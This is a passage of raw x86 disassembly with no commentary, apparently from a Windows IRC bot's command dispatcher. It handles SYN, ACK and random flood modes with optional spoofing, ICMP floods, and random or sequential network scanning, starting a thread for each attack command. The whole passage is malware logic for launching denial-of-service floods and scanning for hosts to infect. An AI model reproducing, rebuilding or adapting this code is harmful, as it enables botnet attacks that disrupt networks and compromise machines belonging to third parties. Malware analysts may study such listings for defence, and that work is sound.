call sub_412BD1
add esp, 14h
loc_40F6FC: ; CODE XREF: sub_40CD3A+29A4j
lea eax, [ebp+var_2D8]
push eax
call sub_40B078
jmp short loc_40F716
; ---------------------------------------------------------------------------
loc_40F70A: ; CODE XREF: sub_40CD3A+29EFj
lea eax, [ebp+var_1694]
push eax
call sub_41791C
loc_40F716: ; CODE XREF: sub_40CD3A+29CEj
lea eax, [ebp+var_1694]
push 4
push eax
call sub_40C0F3
add esp, 0Ch
test eax, eax
jnz short loc_40F70A
jmp loc_40D18F
; ---------------------------------------------------------------------------
loc_40F730: ; CODE XREF: sub_40CD3A+2835j
; sub_40CD3A+284Cj
push [ebp+esi+var_80]
push [ebp+arg_10]
push [ebp+arg_0]
push [ebp+arg_18]
call sub_41587F
pop ecx
push eax
push edi
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_406A63
jmp loc_412815
; ---------------------------------------------------------------------------
loc_40F75E: ; CODE XREF: sub_40CD3A+2659j
; sub_40CD3A+2670j
mov esi, 80h
push edi
lea eax, [ebp+var_1104]
push esi
push eax
call sub_41588A
lea eax, [ebp+var_1104]
push eax
push offset aSyn ; "syn"
call sub_415730
add esp, 14h
test eax, eax
jz short loc_40F7C1
lea eax, [ebp+var_1104]
push eax
push offset aAck ; "ack"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz short loc_40F7C1
lea eax, [ebp+var_1104]
push eax
push offset aRandom ; "random"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz short loc_40F7C1
push offset dword_435728
jmp loc_40F8E8
; ---------------------------------------------------------------------------
loc_40F7C1: ; CODE XREF: sub_40CD3A+2A4Dj
; sub_40CD3A+2A64j ...
push [ebp+arg_10]
call sub_41587F
cmp eax, ebx
pop ecx
mov [ebp+var_FFC], eax
jle loc_40F8E3
push edi
lea eax, [ebp+var_1104]
push esi
push eax
call sub_41588A
push [ebp+arg_18]
lea eax, [ebp+var_1184]
push esi
push eax
call sub_41588A
push [ebp+arg_0]
call sub_41587F
mov [ebp+var_1000], eax
xor eax, eax
cmp [ebp+var_8EE], bl
push [ebp+var_8C]
setnz al
mov [ebp+var_FF8], eax
mov eax, [ebp+arg_4]
mov [ebp+var_1188], eax
lea eax, [ebp+var_1084]
push esi
push eax
call sub_41588A
mov eax, [ebp+var_4]
add esp, 28h
cmp [ebp+var_FF8], ebx
mov [ebp+var_FF4], eax
mov eax, [ebp+var_8]
mov [ebp+var_FF0], eax
mov eax, offset aSpoofed ; "Spoofed"
jnz short loc_40F858
mov eax, offset aNormal ; "Normal"
loc_40F858: ; CODE XREF: sub_40CD3A+2B17j
push [ebp+arg_10]
push [ebp+arg_0]
push [ebp+arg_18]
push edi
push eax
push offset dword_4356D0
lea eax, [ebp+var_2D8]
push 200h
push eax
call sub_41588A
push ebx
lea eax, [ebp+var_2D8]
push 0Ch
push eax
call sub_414DDA
add esp, 2Ch
mov [ebp+var_1004], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1188]
push ebx
push eax
push offset sub_401BD4
push ebx
push ebx
call dword_42108C ; CreateThread
mov ecx, [ebp+var_1004]
imul ecx, 234h
cmp eax, ebx
mov dword_441BAC[ecx], eax
jnz short loc_40F8D9
call dword_421088 ; RtlGetLastWin32Error
push eax
push offset dword_435680
jmp loc_40EAFE
; ---------------------------------------------------------------------------
loc_40F8D1: ; CODE XREF: sub_40CD3A+2BA5j
push 32h
call dword_421060 ; Sleep
loc_40F8D9: ; CODE XREF: sub_40CD3A+2B84j
cmp [ebp+var_FEC], ebx
jz short loc_40F8D1
jmp short loc_40F8F6
; ---------------------------------------------------------------------------
loc_40F8E3: ; CODE XREF: sub_40CD3A+2A98j
push offset dword_435630
loc_40F8E8: ; CODE XREF: sub_40CD3A+1B59j
; sub_40CD3A+1C63j ...
lea eax, [ebp+var_2D8]
push eax
call sub_415316
pop ecx
pop ecx
loc_40F8F6: ; CODE XREF: sub_40CD3A+1C2Bj
; sub_40CD3A+1C3Fj ...
cmp [ebp+var_8], ebx
jnz loc_40D68B
push ebx
push [ebp+var_4]
loc_40F903: ; CODE XREF: sub_40CD3A+3776j
lea eax, [ebp+var_2D8]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
loc_40F913: ; CODE XREF: sub_40CD3A+505Ej
call sub_412BD1
add esp, 14h
jmp loc_40D68B
; ---------------------------------------------------------------------------
loc_40F920: ; CODE XREF: sub_40CD3A+2614j
; sub_40CD3A+262Bj ...
cmp dword_43CB10, ebx
mov esi, [ebp+arg_4]
jnz loc_40FA2B
mov eax, [ebp+var_8]
push 7Fh
mov [ebp+var_590], eax
mov eax, [ebp+var_4]
mov [ebp+var_594], eax
lea eax, [ebp+var_628]
push edi
push eax
call sub_416BE0
push [ebp+arg_18]
call sub_41587F
push [ebp+arg_0]
mov [ebp+var_5A8], eax
call sub_41587F
push [ebp+arg_10]
mov [ebp+var_5A4], eax
call sub_41587F
push 7Fh
mov [ebp+var_5A0], eax
push [ebp+var_8C]
lea eax, [ebp+var_6A8]
push eax
call sub_416BE0
push [ebp+var_5A0]
lea eax, [ebp+var_628]
mov [ebp+var_6AC], esi
push [ebp+var_5A4]
push eax
lea eax, [ebp+var_2D8]
push [ebp+var_5A8]
push offset unk_4355D0
push eax
call sub_415316
push ebx
lea eax, [ebp+var_2D8]
push 0Eh
push eax
call sub_414DDA
add esp, 48h
mov [ebp+var_598], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_6AC]
push ebx
push eax
push offset sub_40A133
push ebx
push ebx
call dword_42108C ; CreateThread
mov ecx, [ebp+var_598]
imul ecx, 234h
cmp eax, ebx
mov dword_441BAC[ecx], eax
jnz short loc_40FA1E
call dword_421088 ; RtlGetLastWin32Error
push eax
push offset unk_435580
jmp loc_4105A5
; ---------------------------------------------------------------------------
loc_40FA16: ; CODE XREF: sub_40CD3A+2CEAj
push 32h
call dword_421060 ; Sleep
loc_40FA1E: ; CODE XREF: sub_40CD3A+2CC9j
cmp [ebp+var_58C], ebx
jz short loc_40FA16
jmp loc_4105B4
; ---------------------------------------------------------------------------
loc_40FA2B: ; CODE XREF: sub_40CD3A+2BEFj
push 1FFh
lea eax, [ebp+var_2D8]
push offset aIcmp_dllNotAva ; "ICMP.dll not available"
push eax
call sub_416BE0
jmp loc_4105B1
; ---------------------------------------------------------------------------
loc_40FA46: ; CODE XREF: sub_40CD3A+25CFj
; sub_40CD3A+25E6j ...
mov eax, [ebp+var_8]
push 7Fh
mov [ebp+var_590], eax
mov eax, [ebp+var_4]
mov [ebp+var_594], eax
lea eax, [ebp+var_628]
push edi
push eax
call sub_416BE0
push [ebp+arg_18]
call sub_41587F
push [ebp+arg_0]
mov [ebp+var_5A8], eax
call sub_41587F
push [ebp+arg_10]
mov [ebp+var_5A4], eax
call sub_41587F
mov esi, [ebp+esi+var_80]
add esp, 18h
cmp esi, ebx
mov [ebp+var_5A0], eax
jz short loc_40FAAB
push esi
call sub_41587F
pop ecx
mov [ebp+var_59C], eax
jmp short loc_40FAB1
; ---------------------------------------------------------------------------
loc_40FAAB: ; CODE XREF: sub_40CD3A+2D60j
mov [ebp+var_59C], ebx
loc_40FAB1: ; CODE XREF: sub_40CD3A+2D6Fj
push 7Fh
lea eax, [ebp+var_6A8]
push [ebp+var_8C]
push eax
call sub_416BE0
push [ebp+var_5A0]
mov esi, [ebp+arg_4]
lea eax, [ebp+var_628]
mov [ebp+var_6AC], esi
push [ebp+var_5A4]
push eax
lea eax, [ebp+var_2D8]
push [ebp+var_5A8]
push offset dword_435508
push eax
call sub_415316
push ebx
lea eax, [ebp+var_2D8]
push 0Fh
push eax
call sub_414DDA
add esp, 30h
mov [ebp+var_598], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_6AC]
push ebx
push eax
push offset sub_40A2BF
push ebx
push ebx
call dword_42108C ; CreateThread
mov ecx, [ebp+var_598]
imul ecx, 234h
cmp eax, ebx
mov dword_441BAC[ecx], eax
jnz short loc_40FB58
call dword_421088 ; RtlGetLastWin32Error
push eax
push offset dword_4354B8
jmp loc_4105A5
; ---------------------------------------------------------------------------
loc_40FB50: ; CODE XREF: sub_40CD3A+2E24j
push 32h
call dword_421060 ; Sleep
loc_40FB58: ; CODE XREF: sub_40CD3A+2E03j
cmp [ebp+var_58C], ebx
jz short loc_40FB50
jmp loc_4105B4
; ---------------------------------------------------------------------------
loc_40FB65: ; CODE XREF: sub_40CD3A+25A1j
; sub_40CD3A+25B8j
push 8
call sub_41501C
push [ebp+arg_18]
mov [ebp+arg_8], eax
call sub_41587F
add eax, [ebp+arg_8]
pop ecx
pop ecx
cmp eax, 12Ch
jle short loc_40FBB5
push [ebp+arg_8]
lea eax, [ebp+var_2D8]
push offset dword_435460
push eax
call sub_415316
push ebx
lea eax, [ebp+var_2D8]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_412BD1
jmp loc_410FD3
; ---------------------------------------------------------------------------
loc_40FBB5: ; CODE XREF: sub_40CD3A+2E47j
push edi
call sub_41587F
push [ebp+arg_18]
mov [ebp+var_474], eax
call sub_41587F
push [ebp+arg_0]
mov [ebp+var_45C], eax
call sub_41587F
add esp, 0Ch
cmp eax, 1
mov [ebp+var_470], eax
jnb short loc_40FBEE
xor eax, eax
inc eax
mov [ebp+var_470], eax
loc_40FBEE: ; CODE XREF: sub_40CD3A+2EA9j
push 3Ch
pop ecx
cmp eax, ecx
jbe short loc_40FBFB
mov [ebp+var_470], ecx
loc_40FBFB: ; CODE XREF: sub_40CD3A+2EB9j
push [ebp+arg_10]
call sub_41587F
mov [ebp+var_46C], eax
mov eax, 1F4h
cmp [ebp+var_46C], eax
pop ecx
jbe short loc_40FC1D
mov [ebp+var_46C], eax
loc_40FC1D: ; CODE XREF: sub_40CD3A+2EDBj
or [ebp+var_458], 0FFFFFFFFh
cmp dword_427388, ebx
mov [ebp+arg_10], ebx
jz short loc_40FC73
mov [ebp+arg_24], offset dword_427388
loc_40FC36: ; CODE XREF: sub_40CD3A+2F1Bj
mov eax, [ebp+arg_24]
push edi
add eax, 0FFFFFFD8h
push eax
call sub_415730
pop ecx
test eax, eax
pop ecx
jz short loc_40FC59
add [ebp+arg_24], 3Ch
inc [ebp+arg_10]
mov eax, [ebp+arg_24]
cmp [eax], ebx
jnz short loc_40FC36
jmp short loc_40FC73
; ---------------------------------------------------------------------------
loc_40FC59: ; CODE XREF: sub_40CD3A+2F0Dj
mov eax, [ebp+arg_10]
mov ecx, eax
mov [ebp+var_458], eax
imul ecx, 3Ch
mov ecx, dword_427388[ecx]
mov [ebp+var_474], ecx
loc_40FC73: ; CODE XREF: sub_40CD3A+2EF3j
; sub_40CD3A+2F1Dj
cmp [ebp+var_474], ebx
jz loc_411AD3
mov edi, [ebp+esi+var_80]
cmp edi, ebx
mov [ebp+arg_18], edi
jz short loc_40FCBA
cmp byte ptr [edi], 23h
jz short loc_40FCBA
push edi
lea eax, [ebp+var_588]
push 10h
push eax
call sub_41588A
push 78h
push edi
call sub_416F20
add esp, 14h
neg eax
sbb eax, eax
neg eax
mov [ebp+var_448], eax
jmp loc_40FD8E
; ---------------------------------------------------------------------------
loc_40FCBA: ; CODE XREF: sub_40CD3A+2F4Ej
; sub_40CD3A+2F53j
cmp [ebp+var_8FF], bl
jnz short loc_40FCDC
cmp [ebp+var_8FE], bl
jnz short loc_40FCDC
cmp [ebp+var_8EE], bl
jnz short loc_40FCDC
push offset dword_435410
jmp loc_40F8E8
; ---------------------------------------------------------------------------
loc_40FCDC: ; CODE XREF: sub_40CD3A+2F86j
; sub_40CD3A+2F8Ej ...
push 10h
lea eax, [ebp+arg_0]
pop edi
push eax
lea eax, [ebp+var_D0]
push eax
mov [ebp+arg_0], edi
push [ebp+arg_4]
call dword_43C9C8 ; getsockname
mov al, [ebp+var_8FF]
push edi
neg al
sbb eax, eax
and ax, 100h
add eax, 0FFFFh
and [ebp+var_CC], eax
push [ebp+var_CC]
call dword_43CAB0 ; inet_ntoa
push eax
lea eax, [ebp+var_588]
push eax
call sub_416BE0
add esp, 0Ch
cmp [ebp+var_8EE], bl
jz short loc_40FD88
xor eax, eax
cmp [ebp+var_8FF], bl
push 30h
setnz al
inc eax
inc eax
mov edi, eax
lea eax, [ebp+var_588]
push eax
call sub_416EE0
pop ecx
cmp edi, ebx
pop ecx
mov byte ptr [ebp+arg_24+3], bl
jle short loc_40FD7C
loc_40FD5A: ; CODE XREF: sub_40CD3A+3040j
cmp eax, ebx
jz short loc_40FD7C
mov byte ptr [eax], 78h
lea eax, [ebp+var_588]
push 30h
push eax
call sub_416EE0
inc byte ptr [ebp+arg_24+3]
pop ecx
pop ecx
movsx ecx, byte ptr [ebp+arg_24+3]
cmp ecx, edi
jl short loc_40FD5A
loc_40FD7C: ; CODE XREF: sub_40CD3A+301Ej
; sub_40CD3A+3022j
mov [ebp+var_448], 1
jmp short loc_40FD8E
; ---------------------------------------------------------------------------
loc_40FD88: ; CODE XREF: sub_40CD3A+2FF8j
mov [ebp+var_448], ebx
loc_40FD8E: ; CODE XREF: sub_40CD3A+2F7Bj
; sub_40CD3A+304Cj
mov eax, [ebp+arg_4]
push [ebp+var_8C]
mov [ebp+var_478], eax
mov eax, [ebp+var_4]
mov [ebp+var_450], eax
mov eax, [ebp+var_8]
mov [ebp+var_44C], eax
mov edi, 80h
lea eax, [ebp+var_578]
push edi
push eax
call sub_41588A
mov esi, [ebp+esi+var_7C]
add esp, 0Ch
cmp esi, ebx
jz short loc_40FDDF
loc_40FDCC: ; CODE XREF: sub_40CD3A+30C8j
push esi
loc_40FDCD: ; CODE XREF: sub_40CD3A+30B2j
lea eax, [ebp+var_4F8]
push edi
push eax
call sub_41588A
add esp, 0Ch
jmp short loc_40FE0A
; ---------------------------------------------------------------------------
loc_40FDDF: ; CODE XREF: sub_40CD3A+3090j
mov eax, [ebp+arg_18]
cmp eax, ebx
jz short loc_40FDEE
cmp byte ptr [eax], 23h
jnz short loc_40FDEE
push eax
jmp short loc_40FDCD
; ---------------------------------------------------------------------------
loc_40FDEE: ; CODE XREF: sub_40CD3A+30AAj
; sub_40CD3A+30AFj
mov esi, offset dword_42C300
push offset byte_43B658
push esi
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz short loc_40FDCC
mov [ebp+var_4F8], bl
loc_40FE0A: ; CODE XREF: sub_40CD3A+30A3j
cmp [ebp+var_448], ebx
mov eax, offset aRandom_0 ; "Random"
jnz short loc_40FE1C
mov eax, offset aSequential ; "Sequential"
loc_40FE1C: ; CODE XREF: sub_40CD3A+30DBj
push [ebp+var_45C]
lea ecx, [ebp+var_588]
push [ebp+var_46C]
push [ebp+var_470]
push [ebp+var_474]
push ecx
push eax
lea eax, [ebp+var_2D8]
push offset dword_435380
push eax
call sub_415316
push ebx
lea eax, [ebp+var_2D8]
push 8
push eax
call sub_414DDA
add esp, 2Ch
mov [ebp+var_468], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_588]
push ebx
push eax
push offset sub_4078DF
push ebx
push ebx
call dword_42108C ; CreateThread
mov ecx, [ebp+var_468]
imul ecx, 234h
cmp eax, ebx
mov dword_441BAC[ecx], eax
jnz short loc_40FEAD
call dword_421088 ; RtlGetLastWin32Error
push eax
push offset dword_435330
jmp loc_40EAFE
; ---------------------------------------------------------------------------
loc_40FEA5: ; CODE XREF: sub_40CD3A+3179j
push 32h
call dword_421060 ; Sleep
loc_40FEAD: ; CODE XREF: sub_40CD3A+3158j
cmp [ebp+var_444], ebx
jz short loc_40FEA5
jmp loc_40F8F6
; ---------------------------------------------------------------------------
loc_40FEBA: ; CODE XREF: sub_40CD3A+2561j
; sub_40CD3A+2578j
push edi
call sub_41587F
imul eax, 234h
pop ecx
cmp byte_441BB0[eax], bl
jz loc_412818
cmp [ebp+var_C], ebx
jz loc_412818
push [ebp+arg_18]
call sub_415B10
push edi
mov esi, eax
call sub_415B10
push [ebp+arg_8]
add esi, eax
call sub_415B10
add eax, [ebp+var_C]
push [ebp+arg_0]
lea eax, [eax+esi+2]
push eax
call sub_4158E0
mov esi, eax
lea eax, [ebp+var_2D8]
push esi
push offset dword_435320
push eax
call sub_415316
add esp, 20h
cmp esi, ebx
jz loc_412818
push edi
call sub_41587F
test eax, eax
pop ecx
jle loc_412818
push edi
call sub_41587F
cmp eax, 12Ch
pop ecx
jge loc_412818
push ebx
lea eax, [ebp+var_2D8]
push ebx
push eax
push [ebp+arg_18]
push edi
call sub_41587F
imul eax, 234h
pop ecx
push dword_441BA4[eax]
call sub_412BD1
push edi
call sub_41587F
imul eax, 234h
add esp, 18h
cmp byte ptr dword_441998[eax], 73h
jnz loc_412818
push esi
push edi
call sub_41587F
imul eax, 234h
pop ecx
add eax, offset byte_441BB0
push eax
push [ebp+arg_18]
push offset aSSS_1 ; "[%s] * %s %s"
loc_40FFA2: ; CODE XREF: sub_40CD3A+3362j
lea eax, [ebp+var_2D8]
push eax
call sub_415316
push ebx
lea eax, [ebp+var_2D8]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_412BD1
jmp loc_411F81
; ---------------------------------------------------------------------------
loc_40FFCC: ; CODE XREF: sub_40CD3A+2533j
; sub_40CD3A+254Aj
push edi
call sub_41587F
imul eax, 234h
pop ecx
cmp byte_441BB0[eax], bl
jz loc_412818
cmp [ebp+var_C], ebx
jz loc_412818
push [ebp+arg_18]
call sub_415B10
push edi
mov esi, eax
call sub_415B10
push [ebp+arg_8]
add esi, eax
call sub_415B10
add eax, [ebp+var_C]
push [ebp+arg_0]
lea eax, [eax+esi+2]
push eax
call sub_4158E0
mov esi, eax
add esp, 14h
cmp esi, ebx
jz loc_412818
push edi
call sub_41587F
test eax, eax
pop ecx
jle loc_412818
push edi
call sub_41587F
cmp eax, 12Ch
pop ecx
jge loc_412818
push ebx
push ebx
push esi
push [ebp+arg_18]
push edi
call sub_41587F
imul eax, 234h
pop ecx
push dword_441BA4[eax]
call sub_412BD1
push edi
call sub_41587F
imul eax, 234h
add esp, 18h
cmp byte ptr dword_441998[eax], 73h
jnz loc_412818
push esi
push edi
call sub_41587F
imul eax, 234h
pop ecx
add eax, offset byte_441BB0
push eax
push [ebp+arg_18]
push offset aSSS_0 ; "[%s] <%s> %s"
jmp loc_40FFA2
; ---------------------------------------------------------------------------
loc_4100A1: ; CODE XREF: sub_40CD3A+2505j
; sub_40CD3A+251Cj
push edi
call dword_43CA64 ; inet_addr
push [ebp+arg_18]
mov [ebp+var_388], eax
call sub_41587F
push [ebp+arg_0]
mov [ebp+var_394], eax
call sub_41587F
mov esi, [ebp+arg_4]
push 7Fh
push [ebp+var_8C]
mov [ebp+var_390], eax
lea eax, [ebp+var_414]
mov [ebp+var_418], esi
push eax
call sub_416BE0
add esp, 14h
mov edi, [ebp+var_4]
mov eax, [ebp+var_8]
mov [ebp+var_380], edi
push [ebp+var_390]
mov [ebp+var_37C], eax
push [ebp+var_394]
push [ebp+var_388]
call dword_43CAB0 ; inet_ntoa
push eax
lea eax, [ebp+var_2D8]
push offset unk_4352B0
push eax
call sub_415316
push ebx
lea eax, [ebp+var_2D8]
push 8
push eax
call sub_414DDA
add esp, 20h
mov [ebp+var_38C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_418]
push ebx
push eax
push offset sub_4143AF
push ebx
push ebx
call dword_42108C ; CreateThread
mov ecx, [ebp+var_38C]
imul ecx, 234h
cmp eax, ebx
mov dword_441BAC[ecx], eax
jnz short loc_410186
call dword_421088 ; RtlGetLastWin32Error
push eax
push offset unk_435260
jmp loc_411D70
; ---------------------------------------------------------------------------
loc_41017E: ; CODE XREF: sub_40CD3A+3452j
push 32h
call dword_421060 ; Sleep
loc_410186: ; CODE XREF: sub_40CD3A+3431j
cmp [ebp+var_378], ebx
jz short loc_41017E
jmp loc_411D7F
; ---------------------------------------------------------------------------
loc_410193: ; CODE XREF: sub_40CD3A+24D7j
; sub_40CD3A+24EEj
push edi
call sub_41587F
push 7Fh
mov [ebp+var_EDC], eax
push [ebp+arg_18]
lea eax, [ebp+var_FE0]
push eax
call sub_416BE0
push [ebp+arg_0]
call sub_41587F
push [ebp+var_8C]
mov esi, [ebp+arg_4]
mov [ebp+var_EE0], eax
lea eax, [ebp+var_F60]
push 80h
push eax
mov [ebp+var_FE8], esi
call sub_41588A
mov eax, [ebp+var_8]
add esp, 20h
mov edi, [ebp+var_4]
mov [ebp+var_ECC], eax
push [ebp+var_EE0]
lea eax, [ebp+var_FE0]
mov [ebp+var_ED0], edi
push eax
push [ebp+var_EDC]
push esi
call sub_40A08A
pop ecx
push eax
lea eax, [ebp+var_2D8]
push offset dword_435210
push eax
call sub_415316
push ebx
lea eax, [ebp+var_2D8]
push 10h
push eax
call sub_414DDA
add esp, 24h
mov [ebp+var_ED8], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_FE8]
push ebx
push eax
push offset sub_407B36
push ebx
push ebx
call dword_42108C ; CreateThread
mov ecx, [ebp+var_ED8]
imul ecx, 234h
cmp eax, ebx
mov dword_441BAC[ecx], eax
jnz short loc_41027F
call dword_421088 ; RtlGetLastWin32Error
push eax
push offset unk_4351B8
jmp loc_411D70
; ---------------------------------------------------------------------------
loc_410277: ; CODE XREF: sub_40CD3A+354Bj
push 32h
call dword_421060 ; Sleep
loc_41027F: ; CODE XREF: sub_40CD3A+352Aj
cmp [ebp+var_EC8], ebx
jz short loc_410277
jmp loc_411D7F
; ---------------------------------------------------------------------------
loc_41028C: ; CODE XREF: sub_40CD3A+24A9j
; sub_40CD3A+24C0j
push 0FFh
lea eax, [ebp+var_D34]
push edi
push eax
call sub_416BE0
push 0FFh
lea eax, [ebp+var_C34]
push [ebp+arg_18]
push eax
call sub_416BE0
push [ebp+arg_0]
mov [ebp+var_B30], ebx
call sub_41587F
mov [ebp+var_B2C], eax
mov eax, [ebp+esi+var_84]
add esp, 1Ch
cmp eax, ebx
jz short loc_4102E8
push 10h
push ebx
push eax
call sub_416930
add esp, 0Ch
mov [ebp+var_B24], eax
jmp short loc_4102EE
; ---------------------------------------------------------------------------
loc_4102E8: ; CODE XREF: sub_40CD3A+3598j
mov [ebp+var_B24], ebx
loc_4102EE: ; CODE XREF: sub_40CD3A+35ACj
mov esi, [ebp+esi+var_80]
cmp esi, ebx
jz short loc_410305
push esi
call sub_41587F
pop ecx
mov [ebp+var_B28], eax
jmp short loc_41030B
; ---------------------------------------------------------------------------
loc_410305: ; CODE XREF: sub_40CD3A+35BAj
mov [ebp+var_B28], ebx
loc_41030B: ; CODE XREF: sub_40CD3A+35C9j
movzx eax, [ebp+var_8FB]
mov esi, [ebp+arg_4]
push 7Fh
push [ebp+var_8C]
mov [ebp+var_B20], eax
lea eax, [ebp+var_DB4]
mov [ebp+var_DB8], esi
push eax
call sub_416BE0
mov eax, [ebp+var_4]
push [ebp+arg_18]
mov [ebp+var_B18], eax
mov eax, [ebp+var_8]
mov [ebp+var_B1C], eax
push edi
lea eax, [ebp+var_2D8]
push offset unk_435174
push eax
call sub_415316
push esi
lea eax, [ebp+var_2D8]
push 15h
push eax
call sub_414DDA
add esp, 28h
mov [ebp+var_B34], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_DB8]
push ebx
push eax
push offset sub_40BBF7
push ebx
push ebx
call dword_42108C ; CreateThread
mov ecx, [ebp+var_B34]
imul ecx, 234h
cmp eax, ebx
mov dword_441BAC[ecx], eax
jnz short loc_4103BC
call dword_421088 ; RtlGetLastWin32Error
push eax
push offset unk_435120
jmp loc_4105A5
; ---------------------------------------------------------------------------
loc_4103B4: ; CODE XREF: sub_40CD3A+3688j
push 32h
call dword_421060 ; Sleep
loc_4103BC: ; CODE XREF: sub_40CD3A+3667j
cmp [ebp+var_B14], ebx
jz short loc_4103B4
jmp loc_4105B4
; ---------------------------------------------------------------------------
loc_4103C9: ; CODE XREF: sub_40CD3A+247Bj
; sub_40CD3A+2492j
push 7Fh
lea eax, [ebp+var_1A38]
pop esi
push esi
push edi
push eax
call sub_416BE0
push esi
lea eax, [ebp+var_19B8]
push [ebp+arg_18]
push eax
call sub_416BE0
push esi
lea eax, [ebp+var_1938]
push [ebp+arg_0]
push eax
call sub_416BE0
push esi
lea eax, [ebp+var_18B8]
push [ebp+var_8C]
push eax
call sub_416BE0
mov eax, [ebp+var_8]
push [ebp+arg_0]
mov esi, [ebp+var_4]
mov [ebp+var_1830], eax
mov eax, [ebp+arg_4]
push [ebp+arg_18]
mov [ebp+var_1A3C], eax
lea eax, [ebp+var_2D8]
push edi
push offset dword_4350E0
push eax
mov [ebp+var_1834], esi
call sub_415316
add esp, 44h
lea eax, [ebp+var_2D8]
push ebx
push 0Bh
push eax
call sub_414DDA
add esp, 0Ch
mov [ebp+var_1838], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1A3C]
push ebx
push eax
push offset sub_40182F
push ebx
push ebx
call dword_42108C ; CreateThread
mov ecx, [ebp+var_1838]
imul ecx, 234h
cmp eax, ebx
mov dword_441BAC[ecx], eax
jnz short loc_4104BD
call dword_421088 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_2D8]
push offset dword_435090
push eax
call sub_415316
add esp, 0Ch
loc_4104A5: ; CODE XREF: sub_40CD3A+378Bj
cmp [ebp+var_8], ebx
jnz loc_40D68B
push ebx
push esi
jmp loc_40F903
; ---------------------------------------------------------------------------
loc_4104B5: ; CODE XREF: sub_40CD3A+3789j
push 32h
call dword_421060 ; Sleep
loc_4104BD: ; CODE XREF: sub_40CD3A+374Ej
cmp [ebp+var_182C], ebx
jz short loc_4104B5
jmp short loc_4104A5
; ---------------------------------------------------------------------------
loc_4104C7: ; CODE XREF: sub_40CD3A+2436j
; sub_40CD3A+244Dj ...
push 7Fh
lea eax, [ebp+var_1CC8]
pop esi
push esi
push edi
push eax
call sub_416BE0
push esi
lea eax, [ebp+var_1C48]
push [ebp+arg_18]
push eax
call sub_416BE0
push esi
lea eax, [ebp+var_1BC8]
push [ebp+arg_0]
push eax
call sub_416BE0
push esi
lea eax, [ebp+var_1B48]
push [ebp+var_8C]
push eax
call sub_416BE0
push 20h
lea eax, [ebp+var_1AC8]
push [ebp+arg_8]
push eax
call sub_416BE0
mov eax, [ebp+var_4]
push [ebp+arg_0]
mov esi, [ebp+arg_4]
mov [ebp+var_1A48], eax
mov eax, [ebp+var_8]
push [ebp+arg_18]
mov [ebp+var_1A44], eax
lea eax, [ebp+var_2D8]
push edi
push offset dword_435048
push eax
mov [ebp+var_1CD0], esi
call sub_415316
add esp, 50h
lea eax, [ebp+var_2D8]
push ebx
push 0Ah
push eax
call sub_414DDA
add esp, 0Ch
mov [ebp+var_1CCC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1CD0]
push ebx
push eax
push offset start
push ebx
push ebx
call dword_42108C ; CreateThread
mov ecx, [ebp+var_1CCC]
imul ecx, 234h
cmp eax, ebx
mov dword_441BAC[ecx], eax
jnz short loc_4105CE
call dword_421088 ; RtlGetLastWin32Error
push eax
push offset unk_434FF8
loc_4105A5: ; CODE XREF: sub_40CD3A+2CD7j
; sub_40CD3A+2E11j ...
lea eax, [ebp+var_2D8]
push eax
call sub_415316
loc_4105B1: ; CODE XREF: sub_40CD3A+2D07j
add esp, 0Ch
loc_4105B4: ; CODE XREF: sub_40CD3A+2CECj
; sub_40CD3A+2E26j ...
cmp [ebp+var_8], ebx
jnz loc_40D68B
push ebx
push [ebp+var_4]
jmp loc_411D8A
; ---------------------------------------------------------------------------
loc_4105C6: ; CODE XREF: sub_40CD3A+389Aj
push 32h
call dword_421060 ; Sleep
loc_4105CE: ; CODE XREF: sub_40CD3A+385Dj
cmp [ebp+var_1A40], ebx
jz short loc_4105C6
jmp short loc_4105B4
; ---------------------------------------------------------------------------
loc_4105D8: ; CODE XREF: sub_40CD3A+2408j
; sub_40CD3A+241Fj
push 7Fh
lea eax, [ebp+var_158C]
push edi
push eax
call sub_416BE0
push [ebp+arg_18]
call sub_41587F
push 3Fh
mov [ebp+var_143C], eax
push [ebp+arg_0]
lea eax, [ebp+var_150C]
push eax
call sub_416BE0
mov esi, [ebp+esi+var_84]
add esp, 1Ch
cmp esi, ebx
jz short loc_410626
push 3Fh
lea eax, [ebp+var_14CC]
push esi
push eax
call sub_416BE0
add esp, 0Ch
loc_410626: ; CODE XREF: sub_40CD3A+38D8j
lea eax, [ebp+var_150C]
mov [ebp+var_1438], 1
push eax
lea eax, [ebp+var_158C]
push [ebp+var_143C]
push eax
lea eax, [ebp+var_2D8]
push offset unk_434FB0
push eax
call sub_415316
push ebx
lea eax, [ebp+var_2D8]
push 17h
push eax
call sub_414DDA
add esp, 20h
mov [ebp+var_1434], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1590]
push ebx
push eax
push offset sub_40CA58
push ebx
push ebx
call dword_42108C ; CreateThread
mov ecx, [ebp+var_1434]
imul ecx, 234h
cmp eax, ebx
mov dword_441BAC[ecx], eax
jnz short loc_4106B5
call dword_421088 ; RtlGetLastWin32Error
push eax
push offset unk_434F60
jmp loc_40F517
; ---------------------------------------------------------------------------
loc_4106AD: ; CODE XREF: sub_40CD3A+3981j
push 32h
call dword_421060 ; Sleep
loc_4106B5: ; CODE XREF: sub_40CD3A+3960j
cmp [ebp+var_1430], ebx
jz short loc_4106AD
jmp loc_40F526
; ---------------------------------------------------------------------------
loc_4106C2: ; CODE XREF: sub_40CD3A+23C8j
; sub_40CD3A+23DFj
push [ebp+arg_18]
call sub_41587F
cmp eax, ebx
pop ecx
mov [ebp+var_6C0], eax
jle loc_4107B2
mov esi, 80h
push edi
lea eax, [ebp+var_848]
push esi
push eax
